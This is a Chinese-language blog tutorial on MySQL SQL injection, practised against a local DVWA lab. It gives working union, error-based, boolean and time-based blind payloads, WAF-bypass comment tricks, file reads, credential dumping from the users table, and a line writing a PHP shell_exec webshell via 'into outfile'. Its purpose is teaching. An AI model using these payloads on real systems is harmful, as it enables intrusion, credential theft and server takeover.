前一段時間,在對SQL注入有了新的理解之后,寫了這篇文章。本來准備投稿,因為內容過於基礎被打回來了,想想屯着也沒意思,發出來發出來~~本來有好多圖的,但是博客園發圖很麻煩,word文檔的鏈接會貼在文章最后面,有興趣的可以下載下來看。
注:本文目標讀者是對SQL注入有一定了解,能使用一些工具(SQLMAP、pangolin等)進行自動化SQL注入測試,又想了解工具原理和SQL注入原理的童鞋。
0x00 基礎理論篇
0x01 注入技巧&基本模式:
首先,要對下面的一些函數和基本語句有一定的了解。
1. 普通的union select:
select * from user where id='12' union select 1,2,3,4 from fabiao#+'.js
2. and select:
URL and (select count(username)from admin)>0 //猜解數據庫列名,還可以猜解數據類型
URL and (select length(username) from admin limit 1)>0 //猜解數據庫列名長度:修改后面的>0是猜解長度
URL and (select top 1 ascii(substring(username 1,1)) from admin)>0 //猜解內容:猜解出的內容需對應ASCII表,ascii、substring為MySQL的函數,MsSQL略有不同
3. 基於時間的盲注:
URL union select 1,benchmark(1000000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97
URL union select if(substring(Password,1,1)='a',benchmark(10000000,sha(1)),0) User,Password from mysql.user where user ='root'
4. 寫入到文件:
mysql> select '<?php echo shell_exec("ifconfig"); ?>' into outfile 'F:/wamp/www/shell.php'; //貌似在頁面編碼為gbk的時候,<>會被轉義為實體編碼,要考慮和文件包含漏洞一起利用
5. 讀取文件:
URL union select 1,LOAD_FILE('E:/wamp/www/test.txt'),2,3,4,5,6--+ //注意mysql 讀寫文件用\的時候要轉義,即E:\\wamp\\www\\test.txt
6. 從數據庫讀取數據
Mysql > select concat(username,0x3a,password) from admin; 以用戶名:密碼的格式從數據庫讀取數據
URL and ascii(substring(select concat(username,0x3a,password) from admin),1,1)>0
7. 注釋:
針對mysql /*! */
其他數據庫會忽略掉省略符號之間的語句,常用於繞過waf
8. 注入時不需要空格的例子:
select/**/*/**/from/**/user; // /**/可以充當空格
0x02 高使用率的函數:
concat(str1,str2,str3) 字符串連接
group_concat(DISTINCT column_name) 與group by配合使用,添加distinct后,將不同的column_name連接起來
ascii() 獲取ASCII碼
substring(str,pos,length) 對字符串str,從pos開始,截取length
benchmark(1000000,md5('test')) 在時間盲注中會用到,執行1000000遍md5('test')來起到延時注入的效果
if(condition,true_sentence,false_sentence) 在時間盲注中用到,如果condition成立,執行第二個參數中的語句,否則執行第三個參數中的語句。
0x03 判斷用什么方式注入:
看完上面的部分,那么問題來了,有Union注入,也有and注入,還有什么盲注,SQL注入到底哪家強?
判斷方法是介個樣子的。添加單引號' 查看結果:
1. 報錯==>報錯注入 || Union注入
2. 不報錯,但是頁面信息有變化(屏蔽了錯誤信息)==>基於布爾的盲注 || Union注入
3. 頁面信息無變化==>基於時間的盲注 || Union注入
0x04 基於時間的盲注:
基於時間的盲注,是一個小難點。這里來重點講一下。
什么樣的環境下會用到基於時間的盲注?當前執行的語句沒有回顯。
舉例說明:登錄。
$num = select count(*) from user where uid='$uid' and sleep(5)--+ ' and password='$pwd'
if($num) return 1;
else return 0;
根據數據庫查詢到的數據條數,會有兩種返回值,成功和失敗。在注入的時候,可能由於注入語句的構造不合理造成語法錯誤,返回失敗。也有可能是並不滿足某些條件(比如說 ascii(substring(password,1,1))>80),返回失敗。我只需要第二種返回,但第一種返回會造成干擾。為了區分開,我讓執行正確的語句,延遲幾秒再回來,這樣就區分開了~這就是基於時間的盲注。
同理,還有update,delete等語句的利用,也需要基於時間的盲注,這里不細講,如果有興趣,可以參考http://drops.wooyun.org/tips/2078 《利用insert,update和delete注入獲取數據》
0x10 實戰篇
以DVWA系統來進行講解,將安全等級調為最低
0x11 MySQL內建數據庫:
當mysq版本大於5.0的時候,會存在一個內建數據庫——information_schema,存了很多數據庫字段、數據表等的相關信息。
其中最常用的數據表是columns,從字面意思上來看,是字段名,但是這張數據表里也存了字段所在表,及所在數據庫的信息。
舉個例子,我要提取所有的數據庫名:
select group_concat(distinct table_schema) from information_schema.columns;
提取 dvwa 數據庫中所有的表名:
select group_concat(distinct table_name) from information_schema.columns where table_schema='DVWA';
0x12 報錯注入:
mysql中有三種報錯注入——floor、extractValue、updateXml。僅用extractValue來舉個例子。
提交后,MySQL報錯,按照上面的結論,為報錯注入。
基礎注入語句:and extractvalue(1, concat(0x5c, ( select table_name from information_schema.tables limit 1 )));
1. 爆數據庫
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
extractvalue(1, concat(0x5c, ( select table_schema from information_schema.columns group by table_schema limit 2,1 )))--+
可以通過更改注入語句中的limit來爆出不同的數據庫
2. 爆數據表
和爆數據表是一個原理
3. 爆表中字段
XPATH報錯的對長度有一些限制,那還是一個一個的來
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
extractvalue(1, concat(0x5c, ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1 )))--+
4. 爆數據
根據上一次爆出的字段信息,去對應的數據表爆數據。這里可以用concat將需要爆的字段連接在一起組團爆出來~~
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
extractvalue(1, concat(0x5c, ( select concat(user,0x5c,password) from users limit 1 )))--+
0x13 union注入:
個人比較喜歡用union~~union的時候,要求:兩次查詢的列數必須一致。所以要先想辦法知道第一次查詢了多少列~
1. 判斷列數
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1' order by 1 --+
不斷修改order by的數字,直到頁面報錯,或者頁面發生變化,臨界的數字即為列數
注意這個地方的列數,是查詢的列數,而不是數據表的列數。
舉個例子:
select user,password from users //查詢的列數為2
select * from users //查詢的列數==數據表的列數
2. 判斷哪些數據是顯示在頁面上的
因為不是查詢的所有內容都會顯示在頁面上(有一些內容輸出在注釋或者不輸出),為了數據回顯,要看一下哪幾列可以利用。
如果沒有可以用的回顯位置的話,那就不能用union注入了。
3. 爆數據庫(所有的結果都粗來了~):
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1'
union select group_concat(DISTINCT table_schema),2 from information_schema.columns --+
0x14 基於布爾的盲注:
如果Union注入沒有找到回顯點,錯誤信息又被屏蔽的情況下,就要考慮布爾盲注了。盲注的話,往往需要多次重復。這里僅舉幾個簡單的例子。
1. 基本判斷方法
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'
and ascii(substring((select password from users limit 1),1,1))>51--+
一位一位的驗證,逐步縮小大小,定位到某一個ASCII值。
0x15 基於時間的盲注:
時間盲注應該是最后的選擇,沒有辦法的辦法。因為時間盲注是通過數據庫的delay來判斷是否注入成功,某個條件是否成立的。效率很低,注入的速度也很慢。利用場景在上文中提到了,需要好好體會。本段中的例子並不貼切。
1. 判斷是否存在時間盲注
union形式(如果效果不明顯可以再兩個0): http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' union select 1,benchmark(10000000,md5("test")) --+
boolen形式:http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and sleep(5) --+
2. 爆數據庫:
具體過程和布爾型盲注相仿。
0x30 文中用到的工具:
Firefox瀏覽器+Hackbar(瀏覽器擴展)
DVWA(開源web滲透測試系統)
參考資料:
http://drops.wooyun.org/tips/2078 利用insert,update和delete注入獲取數據
http://phpinfo.me/2014/01/02/146.html mysql 3種報錯模式注入
http://drops.wooyun.org/tips/143 sqlmap用戶手冊
http://www.cnblogs.com/kuoaidebb/p/4570101.html 博客園 - 闊愛的貝貝
DOC文檔:http://files.cnblogs.com/files/kuoaidebb/SQL%E6%B3%A8%E5%85%A5%E5%8D%9A%E5%AE%A2.zip